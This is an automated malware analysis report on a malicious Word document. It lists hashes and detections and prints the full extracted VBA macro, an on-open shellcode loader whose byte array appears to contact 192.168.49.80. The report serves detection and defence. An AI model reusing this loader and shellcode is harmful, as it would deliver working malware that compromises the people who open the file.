Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 8defac2d76d1a6ce…

MALICIOUS

Office (OOXML)

19.4 KB Created: 2021-08-13 14:49:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-08-25
MD5: 6349ae2587c5479df34c9a8d2f27fcd6 SHA-1: 2d1b16b061158fdd20ea4aa63939aa778e2a02ad SHA-256: 8defac2d76d1a6ceff833edfa054a432ebb406f51c4d533edcb8806b10026b6c
218 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The sample is an OOXML document containing VBA macros that trigger on document open. The macros utilize `VirtualAlloc`, `RtlMoveMemory`, and `CreateThread` to execute shellcode directly from memory. This technique is indicative of a downloader or initial execution stage for a more complex malware.

Heuristics 6

  • ClamAV: Doc.Downloader.Valyria-10004543-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Valyria-10004543-0
  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • VBA native-memory callback shellcode loader critical OLE_VBA_NATIVE_MEMORY_CALLBACK_LOADER
    VBA auto-exec macro declares or calls native memory allocation, process-memory write/copy, and callback/timer execution APIs. This is the in-memory shellcode loader pattern: allocate writable memory, copy decoded payload bytes into it, then transfer control through a callback such as CreateTimerQueueTimer. Benign document automation does not combine these primitives.
    Matched line in script
    Private Declare Function VirtualAlloc Lib "Kernel32.dll" (ByVal lpAddress As LongPtr, ByVal dwSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As LongPtr
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Sub Document_Open()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 4606 bytes
SHA-256: bacfd6aa756aed0ee5e7f785c446122a6987eca1a571c9d3a3d9a0e6662c4e6d
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"
Private Declare Function VirtualAlloc Lib "Kernel32.dll" (ByVal lpAddress As LongPtr, ByVal dwSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As LongPtr
Private Declare Function RtlMoveMemory Lib "Kernel32.dll" (ByVal lDestination As LongPtr, ByRef sSrc As Any, ByVal byteLength As Long) As LongPtr
Private Declare PtrSafe Function CreateThread Lib "Kernel32.dll" (ByVal SecurityAttributes As Long, ByVal StackSize As Long, ByVal StartFunction As LongPtr, ThreadParameter As LongPtr, ByVal CreateFlags As Long, ByRef ThreadId As Long) As LongPtr
Sub AutoOpen()
    ShellCode
End Sub
Sub Document_Open()
    ShellCode
End Sub

Sub ShellCode()

    Dim buffer As Variant
    Dim address As LongPtr
    Dim count As Long
    Dim data As Long

    buffer = Array(252, 232, 143, 0, 0, 0, 96, 137, 229, 49, 210, 100, 139, 82, 48, 139, 82, 12, 139, 82, 20, 15, 183, 74, 38, 139, 114, 40, 49, 255, 49, 192, 172, 60, 97, 124, 2, 44, 32, 193, 207, 13, 1, 199, 73, 117, 239, 82, 87, 139, 82, 16, 139, 66, 60, 1, 208, 139, 64, 120, 133, 192, 116, 76, 1, 208, 139, 88, 32, 139, 72, 24, 80, 1, 211, 133, 201, 116, 60, 73, 49, _
255, 139, 52, 139, 1, 214, 49, 192, 193, 207, 13, 172, 1, 199, 56, 224, 117, 244, 3, 125, 248, 59, 125, 36, 117, 224, 88, 139, 88, 36, 1, 211, 102, 139, 12, 75, 139, 88, 28, 1, 211, 139, 4, 139, 1, 208, 137, 68, 36, 36, 91, 91, 97, 89, 90, 81, 255, 224, 88, 95, 90, 139, 18, 233, 128, 255, 255, 255, 93, 104, 110, 101, 116, 0, 104, 119, 105, 110, 105, 84, _
104, 76, 119, 38, 7, 255, 213, 49, 219, 83, 83, 83, 83, 83, 232, 62, 0, 0, 0, 77, 111, 122, 105, 108, 108, 97, 47, 53, 46, 48, 32, 40, 87, 105, 110, 100, 111, 119, 115, 32, 78, 84, 32, 54, 46, 49, 59, 32, 84, 114, 105, 100, 101, 110, 116, 47, 55, 46, 48, 59, 32, 114, 118, 58, 49, 49, 46, 48, 41, 32, 108, 105, 107, 101, 32, 71, 101, 99, 107, 111, _
0, 104, 58, 86, 121, 167, 255, 213, 83, 83, 106, 3, 83, 83, 104, 187, 1, 0, 0, 232, 111, 1, 0, 0, 47, 50, 79, 97, 86, 66, 70, 98, 65, 69, 115, 80, 76, 100, 115, 112, 51, 113, 109, 66, 73, 67, 119, 120, 108, 110, 74, 52, 98, 75, 119, 53, 101, 77, 115, 102, 87, 68, 78, 57, 95, 89, 73, 100, 88, 117, 87, 120, 79, 67, 68, 90, 112, 67, 97, 82, _
66, 90, 108, 88, 106, 57, 119, 45, 117, 82, 52, 56, 65, 78, 99, 106, 107, 99, 55, 54, 71, 66, 83, 56, 67, 114, 114, 119, 102, 102, 101, 112, 90, 86, 87, 117, 81, 45, 82, 111, 51, 71, 90, 95, 122, 73, 106, 79, 75, 100, 107, 119, 103, 79, 73, 52, 112, 76, 106, 107, 67, 88, 97, 122, 104, 112, 75, 48, 109, 45, 97, 71, 122, 102, 48, 70, 99, 108, 75, 75, _
81, 121, 54, 73, 51, 69, 101, 54, 53, 103, 117, 54, 53, 121, 115, 99, 105, 76, 69, 68, 103, 66, 67, 75, 116, 83, 99, 98, 101, 53, 109, 97, 65, 98, 106, 86, 108, 74, 105, 56, 101, 84, 118, 56, 56, 87, 105, 101, 95, 115, 75, 102, 112, 85, 116, 83, 99, 109, 72, 50, 72, 52, 69, 85, 97, 119, 108, 55, 49, 50, 54, 76, 68, 56, 86, 70, 53, 69, 69, 53, _
69, 105, 103, 119, 67, 45, 109, 0, 80, 104, 87, 137, 159, 198, 255, 213, 137, 198, 83, 104, 0, 50, 232, 132, 83, 83, 83, 87, 83, 86, 104, 235, 85, 46, 59, 255, 213, 150, 106, 10, 95, 104, 128, 51, 0, 0, 137, 224, 106, 4, 80, 106, 31, 86, 104, 117, 70, 158, 134, 255, 213, 83, 83, 83, 83, 86, 104, 45, 6, 24, 123, 255, 213, 133, 192, 117, 20, 104, 136, 19, _
0, 0, 104, 68, 240, 53, 224, 255, 213, 79, 117, 205, 232, 74, 0, 0, 0, 106, 64, 104, 0, 16, 0, 0, 104, 0, 0, 64, 0, 83, 104, 88, 164, 83, 229, 255, 213, 147, 83, 83, 137, 231, 87, 104, 0, 32, 0, 0, 83, 86, 104, 18, 150, 137, 226, 255, 213, 133, 192, 116, 207, 139, 7, 1, 195, 133, 192, 117, 229, 88, 195, 95, 232, 107, 255, 255, 255, 49, 57, 50, _
46, 49, 54, 56, 46, 52, 57, 46, 56, 48, 0, 187, 224, 29, 42, 10, 104, 166, 149, 189, 157, 255, 213, 60, 6, 124, 10, 128, 251, 224, 117, 5, 187, 71, 19, 114, 111, 106, 0, 83, 255, 213)
    'Allocate memory to size of buffer
    address = VirtualAlloc(0, UBound(buffer), &H3000, &H40)
    'Loop through buffer and add it to the memory we created
    For count = LBound(buffer) To UBound(buffer) 'From start to finish, essentially
        data = buffer(count)
        'Move shellcode buffer to allocated memory one at a time
        Result = RtlMoveMemory(address + count, data, 1)
    Next count
    
    res = CreateThread(0, 0, address, 0, 0, 0)
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 16384 bytes
SHA-256: 3f818a9e998e515bc364a968ac38d63ccb521dfff7ab8b3df408a60fc5bb131a
Detection
ClamAV: Doc.Downloader.Valyria-10004543-0
Obfuscation or payload: unlikely